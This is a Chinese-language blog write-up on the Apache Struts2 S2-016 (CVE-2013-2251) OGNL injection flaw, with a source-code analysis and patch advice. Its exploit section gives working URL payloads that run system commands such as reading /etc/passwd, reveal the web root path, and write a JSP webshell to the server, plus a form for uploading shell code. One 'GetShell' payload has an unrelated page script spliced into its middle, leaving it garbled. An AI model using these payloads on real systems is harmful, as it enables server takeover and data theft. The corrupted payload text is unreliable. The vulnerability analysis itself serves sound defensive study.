struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

catalog

1. Description

2. Effected Scope

3. Exploit Analysis

4. Principle Of Vulnerability

5. Patch Fix

 

1. Description

struts2中有2个导航标签(action、redirect),后面可以直接跟ongl表达式,比如

1. test.action?action:${exp}

2. test.action?redirect:${exp}

Struts2的DefaultActionMapper支持一种方法,可以使用"action:"、"redirect:"、"redirectAction:"对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对"action:"、"redirect:"、"redirectAction:"等进行处理,导致ognl表达式可以被执行
在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行

Relevant Link:

https://struts.apache.org/docs/s2-016.html

http://www.nxadmin.com/web/1177.html


2. Effected Scope

Struts 2.0.0 – Struts 2.3.15


3. Exploit Analysis

0x1: POC: 执行系统指令

http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java

0x2: POC: 测试跳转

http://localhost:8080/S2-XX/Login.action?redirect:%25{3*4}

0x3: POC: 执行任意命令

http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

0x4: POC: 爆网站路径

http://localhost:8080/S2-XX/Login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

/*

http://localhost:8080/S2-XX/Login.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}

*/

0x5: POC: GetShell

http://localhost:8080/S2-XX/Login.action?%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%[email protected]

/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@separator%29.append%28%23a.getParameter%28%22name%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

0x6: POC: GetShell2

http://localhost:8080/S2-XX/Login.action?redirect:${

%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),

%23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\\\", "/"),

new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()

}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%

/*

http://localhost:8080/S2-XX/Login.action?redirect:${

#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),

#p=(#req.getRealPath("/")+"test.jsp").replaceAll("\\\\", "/"),

new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()

}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f%

*/

然后用以下代码写shell

<form action="http://localhost:8080/S2-XX/test.jsp?f=1.jsp" method="post">

<textarea >code</textarea>

<input type=submit value="提交">

</form>

Relevant Link:

http://www.waitalone.cn/struts2-command-exp.html

http://www.nigesb.com/struts2-remote-command-execution.html

http://www.freebuf.com/vuls/11220.html


4. Principle Of Vulnerability

这里以"redirect:"前缀举例进行源码跟踪分析,struts2会将"redirect:"前缀后面的内容设置到redirect.location当中
org.apache.struts2.dispatcher.FilterDispatcher.class

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {





        HttpServletRequest request = (HttpServletRequest) req;

        HttpServletResponse response = (HttpServletResponse) res;

        ServletContext servletContext = getServletContext();



        String timerKey = "FilterDispatcher_doFilter: ";

        try {

            UtilTimerStack.push(timerKey);

            request = prepareDispatcherAndWrapRequest(request, response);

            ActionMapping mapping;

            try {

                mapping = actionMapper.getMapping(request, dispatcher.getConfigurationManager());

            } catch (Exception ex) {

                LOG.error("error getting ActionMapping", ex);

                dispatcher.sendError(request, response, servletContext, HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);

                return;

            }

..

getMapping函数跟入
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class

public ActionMapping getMapping(HttpServletRequest request,

            ConfigurationManager configManager) {

        ActionMapping mapping = new ActionMapping();

        String uri = getUri(request);



        uri = dropExtension(uri);

        if (uri == null) {

            return null;

        }



        parseNameAndNamespace(uri, mapping, configManager);



        handleSpecialParameters(request, mapping);

..

继续跟入handleSpecialParameters(request, mapping);
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class

真正传入OGNL表达式是在这个parameterAction.execute()中,继续跟入

public DefaultActionMapper() {

        prefixTrie = new PrefixTrie() {

            {

                put(METHOD_PREFIX, new ParameterAction() {

                    public void execute(String key, ActionMapping mapping) {

                        mapping

                                .setMethod(key

                                        .substring(METHOD_PREFIX.length()));

                    }

                });



                put(ACTION_PREFIX, new ParameterAction() {

                    public void execute(String key, ActionMapping mapping) {

                        String name = key.substring(ACTION_PREFIX.length());

                        if (allowDynamicMethodCalls) {

                            int bang = name.indexOf('!');

                            if (bang != -1) {

                                String method = name.substring(bang + 1);

                                mapping.setMethod(method);

                                name = name.substring(0, bang);

                            }

                        }

                        mapping.setName(name);

                    }

                });

        

        //key.substring(REDIRECT_PREFIX.length())得到的就是黑客在redirect前缀后面注入的OGNL表达式

                put(REDIRECT_PREFIX, new ParameterAction() {

                    public void execute(String key, ActionMapping mapping) {

                        ServletRedirectResult redirect = new ServletRedirectResult();

                        container.inject(redirect);

            //调用setLocation方法将他设置到redirect.location中

                        redirect.setLocation(key.substring(REDIRECT_PREFIX.length()));

            //调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里

                        mapping.setResult(redirect);

                    }

                });

        ...

上面的过程只是传递OGNL表达式,真正执行是在后面,这里的mapping对象中设置了传入的OGNL
org.apache.struts2.dispatcher.FilterDispatcher.class

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL

Relevant Link:

http://drops.wooyun.org/papers/902


5. Patch Fix

0x1: upgrade struts2

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped

It is strongly recommended to upgrade to Struts 2.3.15.1, which contains the corrected Struts2-Core library

0x2: 手工修复

1. 关闭struts2的redirect、action导航功能

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved

 

你可能感兴趣的:(redirect)